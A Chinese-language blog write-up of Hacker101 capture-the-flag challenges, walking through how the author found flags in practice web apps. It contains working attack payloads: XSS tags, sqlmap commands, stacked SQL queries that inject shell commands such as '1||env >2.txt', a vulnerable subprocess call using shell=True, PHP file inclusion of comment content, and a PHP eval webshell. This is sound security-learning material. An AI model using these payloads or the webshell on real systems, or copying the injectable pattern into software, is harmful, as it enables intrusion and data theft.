Hacker101 CTF 學習記錄(一)

前言

苦力挖洞,靠運氣賺點小錢。看着大佬嚴重,高危,再看看自己手上的低危,無危害默默流下了菜雞的淚水

思路受侷限,之前聽學長推薦和同事聊到hacker101,因此通過hacker101拓展下漏洞利用思路

https://ctf.hacker101.com/ctf?congrats=many

Trivial-A little something to get you started

非常簡單的一道題

右鍵源碼

訪問background.png,獲取flag

這類挖掘思路hint如下

Easy-Micro-CMS v1

這道題有4個flag

首先訪問下,有3個鏈接,2個修改文章,一個添加文章

先看Testing

點擊edit page進入編輯頁面,輸入xss腳本,我一般喜歡用<img>標籤,剛好這個地方<script>標籤被過濾了

保存,右鍵源碼,可以發現該頁面因爲文本的xss生效產生一個flag,但是title的被轉義了

回到home頁面,在home頁面中title也進行了回顯,但是沒有被轉義,因此此次的xss獲得第二個flag

點擊創建,隨意創建一篇文章,發現它是page10

最先2個示例是page1和page2,那麼2~9之間是什麼呢,通過burp枚舉一下

發現page7返回是403,其他是404

但是403是明顯無法訪問的,還可訪問的請求是編輯,因此訪問/xxxx/page/edit/7

拿到第三個flag,最後一個flag我冥思苦想,甚至以爲是markdown的xss,markdown的xss利用如下![截屏2020-09-02 下午8.45.50](/Users/mi0/Library/Application Support/typora-user-images/截屏2020-09-02 下午8.45.50.png)

但是script被替換掉了,因此可以將JavaScript進行html編碼

點擊觸發JavaScript協議

但是但是,這沒有flag,整個環境把我侷限於個xss的漏洞利用中,無奈最後google了一波,發現最後一個flag是sql注入

edit後面跟的路徑可能是帶入數據庫的參數,因此可能存在sql注入

這類挖掘思路hint如下

Moderate-Micro-CMS v2

打開題目,共有3個連接,但是與上一題不同的在於不登錄只能看,編輯需要登錄

很明顯第一個flag萬能密碼,但是不是用or '1'='1',因爲登錄用戶名不是admin,也猜不出來,可以構造讓程序報錯的sql語句,看到部分源碼

那麼此處的萬能密碼通過聯合注入控制password的回值,成功登陸

成功登陸,拿到一個flag

private page

第二個flag,我看提示說注意請求方法,估計是越權了,退出登陸,在edit頁面使用post請求,當然實際環境帶上參數則可越權修改文章內容

第三個flag也與sql注入有關,最開始思路又偏了跑到jwt去了orz,但jwt沒啥有用的信息.....

剛剛第一個flag是萬能密碼,第三個flag值在數據庫中,直接sqlmap4brup++調用sqlmap出flag

dump-all獲取flag,這裏應是用的報錯注入出的數據

這類挖掘思路hint如下

Hard-Encrypted Pastebin

這道題留個坑,之後回來補,涉及到aes的CRC反轉,第一個flag可以通過報錯獲得

第一個flag是id值存在整數型sql注入

sqlmap -u "http://34.94.3.143/d5d106f5c4/fetch?id=1" --thread=10 -D level5 -T photos --dump-all

因爲是盲注使用多線程跑得快,第一個flag 加上FLAGHEX$FLGA$即可

後面2個flag打死做不來,提示說看架構是uwsgi-nginx-flask-docker

最後看別人的思路,發現是通過聯合查詢去讀源碼,因爲有一個參數是fliename,那麼源碼中坑定有讀取文件的處理邏輯,因此通過聯合注入讓sql語句返回值是可控的filename,讀取源碼

拿到第二個flag,可以看到sql語句邏輯爲通過id獲取filename,並讀取

最後一個flag是命令執行,看第53行,執行了命令 du -ch (可控)|| exit 0

可控的地方又是通過一個for循環,for循環是將數據庫中的所有filename值拼接,我們通過sqlmap可以看到該表有3個字段,du -ch 後面的參數可以隨意跟,那麼可以控制id爲3的filename值,引入||進行命令拼接

仔細看輸出文件內容的語句,他只取返回結果的第一行

rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>

因此,我們命令執行去寫文件,然後通過獲取flag2的方法去讀寫入的文件

該SQL語句支持堆疊查詢,因此加上;使用update修改id=3的filename值爲命令執行

fetch?id=4;update photos set filename='1||ls >1.txt';commit;

然後先訪問下根目錄,再去讀1.txt

fetch?id=4 union select '1.txt';

這個flag我也找不到,參考了下別人在env中發現了第三個flag,並且第一個和第二個也在裏面

這裏1.txt沒法覆蓋,因此重新寫了新的文件

fetch?id=4;update photos set filename='1||env >2.txt';commit;

這類挖掘思路hint如下

Moderate-Cody's First Blog

掃描了目錄

瀏覽了功能,,整理下現有的情況如下

Index.php?page= 文件包含,使用include包含,並加上.php的後綴,可用%00截斷但包含不了文件。

文件包含過濾了php://因此無法使用協議,並且現在包含路徑爲 .,/usr/share/php,usr/share/pear

Dockerfile裏面沒有有價值的信息

admin.auth.inc.php爲後臺登錄,不存在sql注入,不存在弱口令

/post 存在目錄遍歷,有個文件被index.php包含

Add comment 功能具體不清楚,估計是給後臺管理員發送信息,但是整個系統是不出外網的,因此無法用xss平臺打cookie

陷入了僵局....此時再看看目錄掃描的情況,有個admin.inc.phpadmin.auth.inc.php是2個文件,太像被我忽略了,這就是別人挖得到嚴重,我只能挖得到低危的原因之一吧orz

直接訪問admin.inc.php出錯

藉助文件包含,順利獲取第一個flag,並且能夠看到Add comment 傳過來的數據

輸入<img src=x//>可以點擊Approve Comment,保存結果爲壞掉的圖片,說明此次可能是xss的,但我輸入<img src=x onerror=alert(1)//>結果被喫掉了,換成<svg>標籤就執行了,但沒有flag

看着這個輸入,再輸出,又加上前面的直接訪問,sql報錯,感覺這個地方是個二次注入。簡單嘗試無果...

注意到審覈處的url,帶有approve 參數,參數值爲id

那麼可以確定查的時候是通過id的值,並且輸入',沒啥異樣,二次注入的念頭被打消,此時此刻又厚着臉皮去看writeup了,發現可以使用http協議包含html文件

衆所周知php可以包含萬物,只要我們包含的html代碼中有php的標籤,就能執行命令。很巧的是,評論的內容我們可以控制

開始像index頁面寫入測試代碼

<?php system('whoami'); ?>

提交就發現flag

後臺幫忙審覈一下

代碼就過來了

再通過http包含html頁面,命令執行成功

最後寫shell

<?php eval($_POST['1']); ?>

index.php裏面獲取最後一個flag

這類挖掘思路hint如下

剩下的再分幾篇文章再寫

參考

https://www.cnblogs.com/smileboys/p/9837427.html

https://www.anquanke.com/post/id/180395#h2-1

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章